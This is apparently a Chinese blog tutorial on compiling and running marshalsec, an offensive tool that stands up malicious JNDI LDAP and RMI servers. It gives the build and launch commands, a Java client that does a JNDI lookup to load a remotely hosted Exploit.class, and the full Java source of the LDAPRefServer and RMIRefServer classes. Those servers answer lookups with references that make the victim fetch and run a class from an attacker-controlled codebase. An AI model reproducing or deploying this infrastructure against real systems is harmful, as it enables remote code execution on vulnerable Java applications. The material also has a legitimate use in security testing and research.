java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。

本文主要是介绍java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

开源项目的git代码地址:GitHub - mbechler/marshalsec

实现了ldap,rmi 的server端代码。

shi

编译

这里跳过编译时的test

mvn "-Dmaven.test.skip=true" -P  clean package

编译后target目录 

 

演示如何启动ldap服务

上传编译后的class文件到http服务器

把Exploit.class文件放在http服务器上,这里使用nginx服务器,访问地址为http://127.0.0.1/test/Exploit.class.

启动ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1099

其中: http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1099 指ldap服务的端口

 看到listening on  0.0.0.0:1099即启动成功

java 使用jndi 加载ladp上的class文件,并在本地执行

package test.anquan;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class Test {public static void main(String[] args) throws NamingException {//	     Hashtable<String,String> HashEnv = new Hashtable<String,String>();HashEnv.put(Context.SECURITY_AUTHENTICATION, "simple"); // LDAP访问安全级别(none,simple,strong)
//        HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); // LDAP工厂类Context ctx = new InitialContext();ctx.lookup("ldap://127.0.0.1:1099/test/#Exploit");ctx.close();}
}

输出

 具体报错原因,后面有时间在分析把

项目中关于ldap,rmi的server端实现代码

ldap


package marshalsec.jndi;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references* * @author mbechler**/
public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] args ) {int port = 1389;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$System.exit(-1);}else if ( args.length > 1 ) {port = Integer.parseInt(args[ 1 ]);}try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

rmi

package marshalsec.jndi;import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;import javax.naming.Reference;
import javax.net.ServerSocketFactory;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import marshalsec.util.Reflections;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;/*** Generic JRMP listener* * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.* * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.* * @author mbechler**/
@SuppressWarnings ( {"restriction"
} )
public class RMIRefServer implements Runnable {private int port;private ServerSocket ss;private Object waitLock = new Object();private boolean exit;private boolean hadConnection;private URL classpathUrl;public RMIRefServer ( int port, URL classpathUrl ) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);}public boolean waitFor ( int i ) {try {if ( this.hadConnection ) {return true;}System.err.println("Waiting for connection");synchronized ( this.waitLock ) {this.waitLock.wait(i);}return this.hadConnection;}catch ( InterruptedException e ) {return false;}}/*** */public void close () {this.exit = true;try {this.ss.close();}catch ( IOException e ) {}synchronized ( this.waitLock ) {this.waitLock.notify();}}public static final void main ( final String[] args ) {int port = 1099;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");System.exit(-1);return;}if ( args.length >= 2 ) {port = Integer.parseInt(args[ 1 ]);}try {System.err.println("* Opening JRMP listener on " + port);RMIRefServer c = new RMIRefServer(port, new URL(args[ 0 ]));c.run();}catch ( Exception e ) {System.err.println("Listener error");e.printStackTrace(System.err);}}@Overridepublic void run () {try {@SuppressWarnings ( "resource" )Socket s = null;try {while ( !this.exit && ( s = this.ss.accept() ) != null ) {try {s.setSoTimeout(5000);InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// Read magic (or HTTP wrapper)bufIn.mark(4);try ( DataInputStream in = new DataInputStream(bufIn) ) {int magic = in.readInt();short version = in.readShort();if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {s.close();continue;}OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);try ( DataOutputStream out = new DataOutputStream(bufOut) ) {byte protocol = in.readByte();switch ( protocol ) {case TransportConstants.StreamProtocol:out.writeByte(TransportConstants.ProtocolAck);if ( remote.getHostName() != null ) {out.writeUTF(remote.getHostName());}else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case TransportConstants.SingleOpProtocol:doMessage(s, in, out);break;default:case TransportConstants.MultiplexProtocol:System.err.println("Unsupported protocol");s.close();continue;}bufOut.flush();out.flush();}}}catch ( InterruptedException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}finally {System.err.println("Closing connection");s.close();}}}finally {if ( s != null ) {s.close();}if ( this.ss != null ) {this.ss.close();}}}catch ( SocketException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}}private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {System.err.println("Reading message...");int op = in.read();switch ( op ) {case TransportConstants.Call:// service incoming RMI calldoCall(in, out);break;case TransportConstants.Ping:// send ack for pingout.writeByte(TransportConstants.PingAck);break;case TransportConstants.DGCAck:UID.read(in);break;default:throw new IOException("unknown transport op " + op);}s.close();}private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {@Overrideprotected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {return ObjID[].class;}else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {return ObjID.class;}else if ( "java.rmi.server.UID".equals(desc.getName()) ) {return UID.class;}else if ( "java.lang.String".equals(desc.getName()) ) {return String.class;}throw new IOException("Not allowed to read object");}};ObjID read;try {read = ObjID.read(ois);}catch ( java.io.IOException e ) {throw new MarshalException("unable to read objID", e);}if ( read.hashCode() == 2 ) {// DGChandleDGC(ois);}else if ( read.hashCode() == 0 ) {if ( handleRMI(ois, out) ) {this.hadConnection = true;synchronized ( this.waitLock ) {this.waitLock.notifyAll();}return;}}}/*** @param ois* @param out* @throws IOException* @throws ClassNotFoundException* @throws NamingException*/private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {int method = ois.readInt(); // methodois.readLong(); // hashif ( method != 2 ) { // lookupreturn false;}String object = (String) ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(TransportConstants.Return);// transport optry ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) {oos.writeByte(TransportConstants.NormalReturn);new UID().write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s",new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));Field refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();}return true;}/*** @param ois* @throws IOException* @throws ClassNotFoundException*/private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}@SuppressWarnings ( "deprecation" )protected static Object makeDummyObject ( String className ) {try {ClassLoader isolation = new ClassLoader() {};ClassPool cp = new ClassPool();cp.insertClassPath(new ClassClassPath(Dummy.class));CtClass clazz = cp.get(Dummy.class.getName());clazz.setName(className);return clazz.toClass(isolation).newInstance();}catch ( Exception e ) {e.printStackTrace();return new byte[0];}}public static class Dummy implements Serializable {private static final long serialVersionUID = 1L;}static final class MarshalOutputStream extends ObjectOutputStream {private URL sendUrl;public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {super(out);this.sendUrl = u;}MarshalOutputStream ( OutputStream out ) throws IOException {super(out);}@Overrideprotected void annotateClass ( Class<?> cl ) throws IOException {if ( this.sendUrl != null ) {writeObject(this.sendUrl.toString());}else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {writeObject(null);}else {URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();String cb = "";for ( URL u : us ) {cb += u.toString();}writeObject(cb);}}/*** Serializes a location from which to load the specified class.*/@Overrideprotected void annotateProxyClass ( Class<?> cl ) throws IOException {annotateClass(cl);}}
}

这篇关于java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1140249

相关文章

Java中流式并行操作parallelStream的原理和使用方法

《Java中流式并行操作parallelStream的原理和使用方法》本文详细介绍了Java中的并行流(parallelStream)的原理、正确使用方法以及在实际业务中的应用案例,并指出在使用并行流... 目录Java中流式并行操作parallelStream0. 问题的产生1. 什么是parallelS

C++中unordered_set哈希集合的实现

《C++中unordered_set哈希集合的实现》std::unordered_set是C++标准库中的无序关联容器,基于哈希表实现,具有元素唯一性和无序性特点,本文就来详细的介绍一下unorder... 目录一、概述二、头文件与命名空间三、常用方法与示例1. 构造与析构2. 迭代器与遍历3. 容量相关4

Java中Redisson 的原理深度解析

《Java中Redisson的原理深度解析》Redisson是一个高性能的Redis客户端,它通过将Redis数据结构映射为Java对象和分布式对象,实现了在Java应用中方便地使用Redis,本文... 目录前言一、核心设计理念二、核心架构与通信层1. 基于 Netty 的异步非阻塞通信2. 编解码器三、

C++中悬垂引用(Dangling Reference) 的实现

《C++中悬垂引用(DanglingReference)的实现》C++中的悬垂引用指引用绑定的对象被销毁后引用仍存在的情况,会导致访问无效内存,下面就来详细的介绍一下产生的原因以及如何避免,感兴趣... 目录悬垂引用的产生原因1. 引用绑定到局部变量,变量超出作用域后销毁2. 引用绑定到动态分配的对象,对象

SpringBoot基于注解实现数据库字段回填的完整方案

《SpringBoot基于注解实现数据库字段回填的完整方案》这篇文章主要为大家详细介绍了SpringBoot如何基于注解实现数据库字段回填的相关方法,文中的示例代码讲解详细,感兴趣的小伙伴可以了解... 目录数据库表pom.XMLRelationFieldRelationFieldMapping基础的一些代

一篇文章彻底搞懂macOS如何决定java环境

《一篇文章彻底搞懂macOS如何决定java环境》MacOS作为一个功能强大的操作系统,为开发者提供了丰富的开发工具和框架,下面:本文主要介绍macOS如何决定java环境的相关资料,文中通过代码... 目录方法一:使用 which命令方法二:使用 Java_home工具(Apple 官方推荐)那问题来了,

Java HashMap的底层实现原理深度解析

《JavaHashMap的底层实现原理深度解析》HashMap基于数组+链表+红黑树结构,通过哈希算法和扩容机制优化性能,负载因子与树化阈值平衡效率,是Java开发必备的高效数据结构,本文给大家介绍... 目录一、概述:HashMap的宏观结构二、核心数据结构解析1. 数组(桶数组)2. 链表节点(Node

Java AOP面向切面编程的概念和实现方式

《JavaAOP面向切面编程的概念和实现方式》AOP是面向切面编程,通过动态代理将横切关注点(如日志、事务)与核心业务逻辑分离,提升代码复用性和可维护性,本文给大家介绍JavaAOP面向切面编程的概... 目录一、AOP 是什么?二、AOP 的核心概念与实现方式核心概念实现方式三、Spring AOP 的关

详解SpringBoot+Ehcache使用示例

《详解SpringBoot+Ehcache使用示例》本文介绍了SpringBoot中配置Ehcache、自定义get/set方式,并实际使用缓存的过程,文中通过示例代码介绍的非常详细,对大家的学习或者... 目录摘要概念内存与磁盘持久化存储:配置灵活性:编码示例引入依赖:配置ehcache.XML文件:配置

Java 虚拟线程的创建与使用深度解析

《Java虚拟线程的创建与使用深度解析》虚拟线程是Java19中以预览特性形式引入,Java21起正式发布的轻量级线程,本文给大家介绍Java虚拟线程的创建与使用,感兴趣的朋友一起看看吧... 目录一、虚拟线程简介1.1 什么是虚拟线程?1.2 为什么需要虚拟线程?二、虚拟线程与平台线程对比代码对比示例:三